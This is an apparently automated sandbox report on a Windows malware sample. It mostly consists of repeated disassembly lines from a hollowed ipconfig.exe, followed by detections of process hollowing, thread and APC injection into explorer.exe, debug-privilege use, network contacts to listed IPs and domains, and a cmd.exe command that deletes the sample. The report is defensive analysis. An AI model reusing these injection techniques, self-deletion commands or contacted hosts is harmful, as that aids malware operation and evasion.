Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B5210 mov eax, dword ptr fs:[00000030h] 7_2_035B5210
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B5210 mov ecx, dword ptr fs:[00000030h] 7_2_035B5210
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B5210 mov eax, dword ptr fs:[00000030h] 7_2_035B5210
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B5210 mov eax, dword ptr fs:[00000030h] 7_2_035B5210
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BAA16 mov eax, dword ptr fs:[00000030h] 7_2_035BAA16
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BAA16 mov eax, dword ptr fs:[00000030h] 7_2_035BAA16
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C8A0A mov eax, dword ptr fs:[00000030h] 7_2_035C8A0A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0366FE3F mov eax, dword ptr fs:[00000030h] 7_2_0366FE3F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BC600 mov eax, dword ptr fs:[00000030h] 7_2_035BC600
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BC600 mov eax, dword ptr fs:[00000030h] 7_2_035BC600
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BC600 mov eax, dword ptr fs:[00000030h] 7_2_035BC600
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E8E00 mov eax, dword ptr fs:[00000030h] 7_2_035E8E00
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671608 mov eax, dword ptr fs:[00000030h] 7_2_03671608
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F4A2C mov eax, dword ptr fs:[00000030h] 7_2_035F4A2C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F4A2C mov eax, dword ptr fs:[00000030h] 7_2_035F4A2C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BE620 mov eax, dword ptr fs:[00000030h] 7_2_035BE620
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E36CC mov eax, dword ptr fs:[00000030h] 7_2_035E36CC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2ACB mov eax, dword ptr fs:[00000030h] 7_2_035E2ACB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F8EC7 mov eax, dword ptr fs:[00000030h] 7_2_035F8EC7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0366FEC0 mov eax, dword ptr fs:[00000030h] 7_2_0366FEC0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2AE4 mov eax, dword ptr fs:[00000030h] 7_2_035E2AE4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E16E0 mov ecx, dword ptr fs:[00000030h] 7_2_035E16E0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688ED6 mov eax, dword ptr fs:[00000030h] 7_2_03688ED6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C76E2 mov eax, dword ptr fs:[00000030h] 7_2_035C76E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036346A7 mov eax, dword ptr fs:[00000030h] 7_2_036346A7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035ED294 mov eax, dword ptr fs:[00000030h] 7_2_035ED294
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035ED294 mov eax, dword ptr fs:[00000030h] 7_2_035ED294
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03680EA5 mov eax, dword ptr fs:[00000030h] 7_2_03680EA5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03680EA5 mov eax, dword ptr fs:[00000030h] 7_2_03680EA5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03680EA5 mov eax, dword ptr fs:[00000030h] 7_2_03680EA5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364FE87 mov eax, dword ptr fs:[00000030h] 7_2_0364FE87
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CAAB0 mov eax, dword ptr fs:[00000030h] 7_2_035CAAB0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CAAB0 mov eax, dword ptr fs:[00000030h] 7_2_035CAAB0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EFAB0 mov eax, dword ptr fs:[00000030h] 7_2_035EFAB0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B52A5 mov eax, dword ptr fs:[00000030h] 7_2_035B52A5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B52A5 mov eax, dword ptr fs:[00000030h] 7_2_035B52A5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B52A5 mov eax, dword ptr fs:[00000030h] 7_2_035B52A5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B52A5 mov eax, dword ptr fs:[00000030h] 7_2_035B52A5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B52A5 mov eax, dword ptr fs:[00000030h] 7_2_035B52A5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D7D50 mov eax, dword ptr fs:[00000030h] 7_2_035D7D50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DB944 mov eax, dword ptr fs:[00000030h] 7_2_035DB944
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DB944 mov eax, dword ptr fs:[00000030h] 7_2_035DB944
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F3D43 mov eax, dword ptr fs:[00000030h] 7_2_035F3D43
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03633540 mov eax, dword ptr fs:[00000030h] 7_2_03633540
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BB171 mov eax, dword ptr fs:[00000030h] 7_2_035BB171
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BB171 mov eax, dword ptr fs:[00000030h] 7_2_035BB171
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DC577 mov eax, dword ptr fs:[00000030h] 7_2_035DC577
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DC577 mov eax, dword ptr fs:[00000030h] 7_2_035DC577
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BC962 mov eax, dword ptr fs:[00000030h] 7_2_035BC962
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0363A537 mov eax, dword ptr fs:[00000030h] 7_2_0363A537
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9100 mov eax, dword ptr fs:[00000030h] 7_2_035B9100
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9100 mov eax, dword ptr fs:[00000030h] 7_2_035B9100
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9100 mov eax, dword ptr fs:[00000030h] 7_2_035B9100
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688D34 mov eax, dword ptr fs:[00000030h] 7_2_03688D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E513A mov eax, dword ptr fs:[00000030h] 7_2_035E513A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E513A mov eax, dword ptr fs:[00000030h] 7_2_035E513A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4D3B mov eax, dword ptr fs:[00000030h] 7_2_035E4D3B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4D3B mov eax, dword ptr fs:[00000030h] 7_2_035E4D3B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4D3B mov eax, dword ptr fs:[00000030h] 7_2_035E4D3B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C3D34 mov eax, dword ptr fs:[00000030h] 7_2_035C3D34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BAD30 mov eax, dword ptr fs:[00000030h] 7_2_035BAD30
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 mov eax, dword ptr fs:[00000030h] 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 mov eax, dword ptr fs:[00000030h] 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 mov eax, dword ptr fs:[00000030h] 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 mov eax, dword ptr fs:[00000030h] 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D4120 mov ecx, dword ptr fs:[00000030h] 7_2_035D4120
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036441E8 mov eax, dword ptr fs:[00000030h] 7_2_036441E8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03668DF1 mov eax, dword ptr fs:[00000030h] 7_2_03668DF1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov eax, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov eax, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov eax, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov ecx, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov eax, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636DC9 mov eax, dword ptr fs:[00000030h] 7_2_03636DC9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BB1E1 mov eax, dword ptr fs:[00000030h] 7_2_035BB1E1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BB1E1 mov eax, dword ptr fs:[00000030h] 7_2_035BB1E1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BB1E1 mov eax, dword ptr fs:[00000030h] 7_2_035BB1E1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CD5E0 mov eax, dword ptr fs:[00000030h] 7_2_035CD5E0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CD5E0 mov eax, dword ptr fs:[00000030h] 7_2_035CD5E0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036805AC mov eax, dword ptr fs:[00000030h] 7_2_036805AC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036805AC mov eax, dword ptr fs:[00000030h] 7_2_036805AC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EFD9B mov eax, dword ptr fs:[00000030h] 7_2_035EFD9B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EFD9B mov eax, dword ptr fs:[00000030h] 7_2_035EFD9B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036369A6 mov eax, dword ptr fs:[00000030h] 7_2_036369A6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2990 mov eax, dword ptr fs:[00000030h] 7_2_035E2990
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B2D8A mov eax, dword ptr fs:[00000030h] 7_2_035B2D8A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B2D8A mov eax, dword ptr fs:[00000030h] 7_2_035B2D8A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B2D8A mov eax, dword ptr fs:[00000030h] 7_2_035B2D8A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B2D8A mov eax, dword ptr fs:[00000030h] 7_2_035B2D8A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B2D8A mov eax, dword ptr fs:[00000030h] 7_2_035B2D8A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA185 mov eax, dword ptr fs:[00000030h] 7_2_035EA185
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036351BE mov eax, dword ptr fs:[00000030h] 7_2_036351BE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036351BE mov eax, dword ptr fs:[00000030h] 7_2_036351BE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036351BE mov eax, dword ptr fs:[00000030h] 7_2_036351BE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036351BE mov eax, dword ptr fs:[00000030h] 7_2_036351BE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DC182 mov eax, dword ptr fs:[00000030h] 7_2_035DC182
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2581 mov eax, dword ptr fs:[00000030h] 7_2_035E2581
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2581 mov eax, dword ptr fs:[00000030h] 7_2_035E2581
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2581 mov eax, dword ptr fs:[00000030h] 7_2_035E2581
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2581 mov eax, dword ptr fs:[00000030h] 7_2_035E2581
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E1DB5 mov eax, dword ptr fs:[00000030h] 7_2_035E1DB5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E1DB5 mov eax, dword ptr fs:[00000030h] 7_2_035E1DB5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E1DB5 mov eax, dword ptr fs:[00000030h] 7_2_035E1DB5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E61A0 mov eax, dword ptr fs:[00000030h] 7_2_035E61A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E61A0 mov eax, dword ptr fs:[00000030h] 7_2_035E61A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E35A1 mov eax, dword ptr fs:[00000030h] 7_2_035E35A1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D0050 mov eax, dword ptr fs:[00000030h] 7_2_035D0050
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D0050 mov eax, dword ptr fs:[00000030h] 7_2_035D0050
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03672073 mov eax, dword ptr fs:[00000030h] 7_2_03672073
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA44B mov eax, dword ptr fs:[00000030h] 7_2_035EA44B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03681074 mov eax, dword ptr fs:[00000030h] 7_2_03681074
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D746D mov eax, dword ptr fs:[00000030h] 7_2_035D746D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364C450 mov eax, dword ptr fs:[00000030h] 7_2_0364C450
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364C450 mov eax, dword ptr fs:[00000030h] 7_2_0364C450
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03671C06 mov eax, dword ptr fs:[00000030h] 7_2_03671C06
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0368740D mov eax, dword ptr fs:[00000030h] 7_2_0368740D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0368740D mov eax, dword ptr fs:[00000030h] 7_2_0368740D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0368740D mov eax, dword ptr fs:[00000030h] 7_2_0368740D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636C0A mov eax, dword ptr fs:[00000030h] 7_2_03636C0A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636C0A mov eax, dword ptr fs:[00000030h] 7_2_03636C0A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636C0A mov eax, dword ptr fs:[00000030h] 7_2_03636C0A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636C0A mov eax, dword ptr fs:[00000030h] 7_2_03636C0A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EBC2C mov eax, dword ptr fs:[00000030h] 7_2_035EBC2C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E002D mov eax, dword ptr fs:[00000030h] 7_2_035E002D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E002D mov eax, dword ptr fs:[00000030h] 7_2_035E002D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E002D mov eax, dword ptr fs:[00000030h] 7_2_035E002D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E002D mov eax, dword ptr fs:[00000030h] 7_2_035E002D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E002D mov eax, dword ptr fs:[00000030h] 7_2_035E002D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637016 mov eax, dword ptr fs:[00000030h] 7_2_03637016
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637016 mov eax, dword ptr fs:[00000030h] 7_2_03637016
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637016 mov eax, dword ptr fs:[00000030h] 7_2_03637016
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CB02A mov eax, dword ptr fs:[00000030h] 7_2_035CB02A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CB02A mov eax, dword ptr fs:[00000030h] 7_2_035CB02A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CB02A mov eax, dword ptr fs:[00000030h] 7_2_035CB02A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CB02A mov eax, dword ptr fs:[00000030h] 7_2_035CB02A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03684015 mov eax, dword ptr fs:[00000030h] 7_2_03684015
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03684015 mov eax, dword ptr fs:[00000030h] 7_2_03684015
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636CF0 mov eax, dword ptr fs:[00000030h] 7_2_03636CF0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636CF0 mov eax, dword ptr fs:[00000030h] 7_2_03636CF0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03636CF0 mov eax, dword ptr fs:[00000030h] 7_2_03636CF0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036714FB mov eax, dword ptr fs:[00000030h] 7_2_036714FB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov ecx, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0364B8D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B58EC mov eax, dword ptr fs:[00000030h] 7_2_035B58EC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688CD6 mov eax, dword ptr fs:[00000030h] 7_2_03688CD6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C849B mov eax, dword ptr fs:[00000030h] 7_2_035C849B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9080 mov eax, dword ptr fs:[00000030h] 7_2_035B9080
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EF0BF mov ecx, dword ptr fs:[00000030h] 7_2_035EF0BF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EF0BF mov eax, dword ptr fs:[00000030h] 7_2_035EF0BF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EF0BF mov eax, dword ptr fs:[00000030h] 7_2_035EF0BF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03633884 mov eax, dword ptr fs:[00000030h] 7_2_03633884
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03633884 mov eax, dword ptr fs:[00000030h] 7_2_03633884
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F90AF mov eax, dword ptr fs:[00000030h] 7_2_035F90AF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E20A0 mov eax, dword ptr fs:[00000030h] 7_2_035E20A0
Enables debug privileges
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 52.58.78.16 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 62.149.128.40 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.oikoschain.com
Source: C:\Windows\explorer.exe Domain query: www.aizaibali.com
Source: C:\Windows\explorer.exe Domain query: www.xn--vuq722jwngjre.com
Source: C:\Windows\explorer.exe Domain query: www.extinctionbrews.com
Source: C:\Windows\explorer.exe Network Connect: 119.59.120.26 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.doityourselfism.com
Source: C:\Windows\explorer.exe Domain query: www.findfoodshop.com
Source: C:\Windows\explorer.exe Domain query: www.invisiongc.net
Source: C:\Windows\explorer.exe Network Connect: 162.241.62.54 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 169.62.77.158 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 103.138.88.11 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.jorgeporcayo.com
Source: C:\Windows\explorer.exe Network Connect: 154.88.31.204 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.scuolatua.com
Source: C:\Windows\explorer.exe Domain query: www.okinawarongnho.com
Source: C:\Windows\explorer.exe Domain query: www.ecofingers.com
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Section loaded: unknown target: C:\Users\user\Desktop\v8kZUFgdD4.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Thread register set: target process: 3440 Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Thread register set: target process: 3440 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: 13E0000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process created: C:\Users\user\Desktop\v8kZUFgdD4.exe 'C:\Users\user\Desktop\v8kZUFgdD4.exe' Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\v8kZUFgdD4.exe' Jump to behavior
Source: explorer.exe, 00000005.00000000.379766787.0000000004F80000.00000004.00000001.sdmp, ipconfig.exe, 00000007.00000002.601794902.0000000005BB0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.343823021.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000007.00000002.601794902.0000000005BB0000.00000002.00000001.sdmp Binary or memory string: Progman
